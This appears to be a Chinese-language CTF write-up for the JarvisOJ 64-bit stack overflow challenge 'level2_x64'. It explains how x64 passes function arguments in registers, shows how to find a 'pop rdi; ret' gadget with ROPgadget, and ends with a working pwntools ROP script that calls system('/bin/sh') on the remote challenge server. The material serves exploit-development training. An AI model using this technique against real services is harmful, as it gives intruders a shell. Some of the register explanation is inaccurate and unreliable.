栈溢出大佬总结详情
好了说说做这题的过程 思路和个人见解吧
-首先明白32位和64之间的传参的差距
32位通过栈来进行传参 64位是通过寄存器来传参 -----函数参数的传递方式发生了改变,x86(32位)中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。
也就是说,在32位程序中运行时,调用函数栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->…->参数1
而在64程序中运行时,参数的传递是需要ebi寄存器的,前6个参数按顺序存储在6个寄存器当中,如果函数的参数超过6个,就和32位一样进行压栈。
system我们只需要一个参数,所以这个题目的关键就在于’bin/sh’字符串的地址要放到rdi当中去,所以我们要找到rdi的地址
-
第一步我们还是checksec查看有无开启什么保护机制
-
因为我们知道这是64位通过寄存器来传参 所以我们首先要找到寄存器的地址ROPgadget --binary level2_x64 --only “pop|ret” PS:level2_64是你要查看的文件
找到地址
-
然后是使用IDA打开 进去空格键查看具体 然后tab或者f5查看的伪代码(c语言)找到vulnerable_function这个容易被存在漏洞的地方 双击打开然后找到栈溢出的字节大小
这题和level2存在的区别就是64位要通过寄存器传参 找到寄存器的位置然后就容易理解了详情请看level2解题过程
脚本奉上
from pwn import *
system_addr=0x00000000004004C0
pop_addr=0x00000000004006b3
binsh_addr=0x0000000000600A90
p=remote("pwn2.jarvisoj.com",9882)
p.recvline()
payload='a'*0x80+'a'*0x8+p64(pop_addr)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.interactive()
p.close()